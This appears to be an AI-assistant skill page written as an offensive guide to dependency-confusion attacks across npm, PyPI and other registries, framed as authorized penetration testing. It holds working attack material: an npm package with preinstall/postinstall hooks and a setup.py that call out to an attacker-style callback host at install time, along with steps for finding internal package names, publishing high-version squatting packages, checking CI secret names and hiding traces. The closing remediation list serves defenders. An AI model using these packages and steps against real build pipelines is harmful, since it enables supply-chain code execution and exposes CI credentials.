Identifying and exploiting dependency confusion (substitution) attacks where a package manager resolves an internal dependency name from a public registry instead of the intended private one, leading to attacker-controlled code execution at install time. Activates when testing build pipelines, CI/CD systems, leaked manifests, or any ecosystem (npm, PyPI, NuGet, Maven, Gradle, Go, Cargo, RubyGems) that mixes internal and public package sources.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Instruções da origem · Visualização somente leitura
name
exploiting-dependency-confusion
description
Identifying and exploiting dependency confusion (substitution) attacks where a package manager resolves an internal dependency name from a public registry instead of the intended private one, leading to attacker-controlled code execution at install time. Activates when testing build pipelines, CI/CD systems, leaked manifests, or any ecosystem (npm, PyPI, NuGet, Maven, Gradle, Go, Cargo, RubyGems) that mixes internal and public package sources.
During authorized assessments where you can recover application manifests or lockfiles (package.json, requirements.txt, pom.xml, *.csproj, go.mod, Cargo.toml, Gemfile)
When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed .git directories
When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally
When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets
When you spot npx <binary> invocations in repos, docs, or CI definitions (binary-name takeover variant)
Prerequisites
Authorization: Written engagement scope explicitly permitting publishing test packages to public registries
Unique markers: Engagement-specific package versions and out-of-band callback infrastructure (Burp Collaborator, interactsh, your own DNS)
Cleanup plan: Ability to unpublish/yank packages immediately when testing concludes
Critical: Variants Most Often Missed
Scanners usually only check "is the internal npm name unclaimed publicly". The
real attack surface is broader. Test every variant below.
# 1. Non-existent / abandoned internal name -> public registry fallback.
# Internal "company-logging" no longer exists; resolver finds your public package.
# 2. Version preference across registries (THE #1 MISS).
# Internal index has company-utils@1.0.1; you publish company-utils@9.99.99
# publicly. Resolver that sees both picks the higher version.
# 3. Typosquatting an imported public name.
# App imports "reqests" / "djngo" / "loadsh" -> register the misspelling.
# 4. Scoped-package binary takeover via npx (no registry precedence needed).
# Real package @company/tool exposes unscoped binary "tool".
# `npx tool` outside the dep context fetches PUBLIC "tool".
# 5. Transitive / subdependency hijack.
# Internal package depends on an internal transitive name that is public-claimable.
# 6. Maven groupId / Go module path / NuGet ID-pattern squatting.
# com.company.* , github.com/your-org/* , Company.* prefixes inferred from leaks.
Minimal npm PoC package that proves install-time execution without touching app logic:
{
"name"
:
"company-internal-utils"
,
"version"
:
"99.99.99"
,
"scripts"
:
{
"preinstall"
:
"node poc.js"
,
"postinstall"
:
"node poc.js"
}
}
// poc.js -- benign proof only: beacon hostname + cwd, no data theftconst os = require('os');
const https = require('https');
const id = encodeURIComponent(os.hostname() + '|' + process.cwd());
https.get('https://ENGAGEMENT.oast.fun/dc/' + id);
For Python, prefer import-time execution (wheels do not run arbitrary code on
install by default); a malicious setup.py in an sdist runs on pip install:
# setup.py in a source distributionimport os, urllib.request
urllib.request.urlopen("https://ENGAGEMENT.oast.fun/dc/" + os.uname().nodename)
from setuptools import setup
setup(name="company-internal", version="99.0.0")
How to CONFIRM a hit (avoid false negatives)
Code execution in supply-chain attacks is asynchronous and often runs on a CI
box you cannot see, so rely on out-of-band signals, not HTTP responses:
DNS/HTTP callback fired to your unique ENGAGEMENT.oast.fun subdomain — the request source IP, hostname, and cwd confirm where it ran.
Egress-blocked targets: fall back to a DNS-only beacon (DNS exfil) or encode proof into an error message the build surfaces.
CI log markers: messages like The following package was not found and will be installed (npx) or your package name appearing in install logs.
Lockfile diff: the resolved registry URL points at the public registry for an internal name.
Treat ANY callback carrying the target's hostname/CI runner identity as a confirmed install-time RCE; do not require a shell.
Workflow
Step 1: Enumerate Internal Package Names
# Grep recovered repos / bundles / CI configs for manifests and internal namespaces
grep -rEi "(@[a-z0-9-]+/|company-|internal\.|com\.company)" . \
--include=package.json --include=*.lock --include=requirements*.txt \
--include=pom.xml --include=*.csproj --include=go.mod --include=Cargo.toml
# Pull names out of public JS bundles (webpack chunk names, sourcemaps)
curl -s https://target.example.com/static/main.js | grep -oE '"@[a-z0-9-]+/[a-z0-9-]+"'# Look for npx invocations (binary-name takeover candidates)
grep -rE "npx [a-z0-9@/_-]+" . docs/ .github/ .gitlab-ci.yml 2>/dev/null
Step 2: Check Public Registry Availability
# npm: 404 means the name is unclaimed and squattable
npm view company-internal-utils # E404 -> claimable# PyPI
curl -s -o /dev/null -w "%{http_code}" https://pypi.org/pypi/company-internal/json # 404 -> claimable# NuGet
curl -s "https://api.nuget.org/v3-flatcontainer/company.internal/index.json"
Step 3: Publish a Version That Wins Resolution
# npm - publish with a very high semver so "best version" picks yours
npm publish # package.json version: 99.99.99, with preinstall/postinstall hook# PyPI - upload an sdist (executes setup.py on install) with high version
python -m build && twine upload dist/*
# For npx binary takeover, bind a matching bin entry:# "bin": { "tool": "./cli.js" } then publish public package named "tool"
Step 4: Trigger and Capture Execution
# Wait for CI/dev installs, or trigger an install in scope:
npm install # or npm ci (note: npm ci STILL runs lifecycle scripts)
pip install company-internal
# Watch your OOB listener for callbacks
interactsh-client # or monitor Burp Collaborator / your DNS logs
Step 5: Demonstrate Impact (Authorized)
# On CI runners the hook runs before tests and often sees secrets.# Prove access WITHOUT exfiltrating real data - beacon env var NAMES only:
node -e "console.log(Object.keys(process.env).filter(k=>/TOKEN|KEY|SECRET|AWS/.test(k)))"# Reference the key NAMES in your report; never copy secret VALUES off-target.
Key Concepts
Concept
Description
Dependency Confusion
Resolver fetches an internal name from a public registry because both sources are visible at resolution time
Version Preference
"Best/newest version globally" rules let a high public version beat the internal one
Install-time Execution
npm preinstall/install/postinstall hooks run on npm install/npm ci without importing the lib
Import-time Execution
Python wheels do not run code on install; an sdist setup.py does, so prefer sdist or import paths
npx Binary Takeover
npx <name> falls back to installing a public package named <name> when no local bin matches
Subdependency Hijacking
Claiming internal transitive names when the top-level name already exists publicly
Manifest Laundering
Anti-forensic trick: run hook, delete dropper, restore a benign manifest
Tools & Systems
Tool
Purpose
interactsh / Burp Collaborator
Out-of-band DNS/HTTP callbacks to confirm asynchronous code execution
npm / pip / nuget / gem CLIs
Publishing PoC packages and querying registry availability
confused (visma)
Scans manifests across ecosystems for dependency-confusion-prone names
snyk / depcheck
Inventorying declared vs resolved dependencies
grep / ripgrep
Mining repos, bundles, and CI configs for internal names and npx usage
gau / waybackurls
Discovering exposed manifests and bundles from historical crawl data
A public JS bundle references @acme/telemetry, which does not exist on the public npm registry. Publishing @acme/telemetry (or the unscoped fallback) with a postinstall hook results in a callback from the target's CI runner during the next build.
Scenario 2: Version Preference on a Mixed Index
The Python build uses --extra-index-url pointing at both an internal index and public PyPI. Internal acme-config is 1.4.0; publishing acme-config 9.0.0 as an sdist to PyPI makes the resolver pick the public package, executing setup.py on install.
Scenario 3: npx Binary-Name Takeover
A CI job runs npx build-assets. The real tool is the scoped @acme/build-assets, but its binary is unscoped. From a fresh workspace npm cannot find the local bin, assumes --yes in non-interactive mode, and installs the unclaimed public build-assets package, granting execution.
Output Format
## Dependency Confusion Finding
**Vulnerability**: Dependency Confusion / Supply-Chain Substitution
**Severity**: Critical (CVSS 9.1)
**Location**: CI build pipeline (npm install) resolving @acme/telemetry
**OWASP Category**: A08:2021 - Software and Data Integrity Failures
### Reproduction Steps
1. Recovered internal package name @acme/telemetry from https://target.example.com/static/main.js
2. Confirmed name unclaimed on public npm registry (npm view -> E404)
3. Published @acme/telemetry@99.99.99 with a benign preinstall beacon
4. Next CI build fetched the public package; received OOB callback from runner IP 203.0.113.10 with cwd /builds/acme/web
### Evidence
| Signal | Value |
|--------|-------|
| OOB callback host | ENGAGEMENT.oast.fun/dc/runner-acme-ci-01 |
| Source IP | 203.0.113.10 (target CI egress) |
| Execution context | preinstall hook, before test stage |
| Accessible secret names | AWS_ACCESS_KEY_ID, NPM_TOKEN (names only, not exfiltrated) |
### Recommendation
1. Route all installs through a single internal registry/proxy; block public fallback for internal namespaces
2. Bind internal scopes to the private registry (`@acme:registry=...`) and authenticate
3. Use immutable lockfiles (`npm ci`, `yarn install --immutable`) and hash pinning (`pip --require-hashes`, Gradle verification)
4. Reserve internal names/namespaces on public registries
5. Prefer `npx --package <expected> <binary>`; run CI from project root and fail closed when local bin is absent
6. Install with `--ignore-scripts` in sensitive stages; adopt a minimum-release-age gate for new versions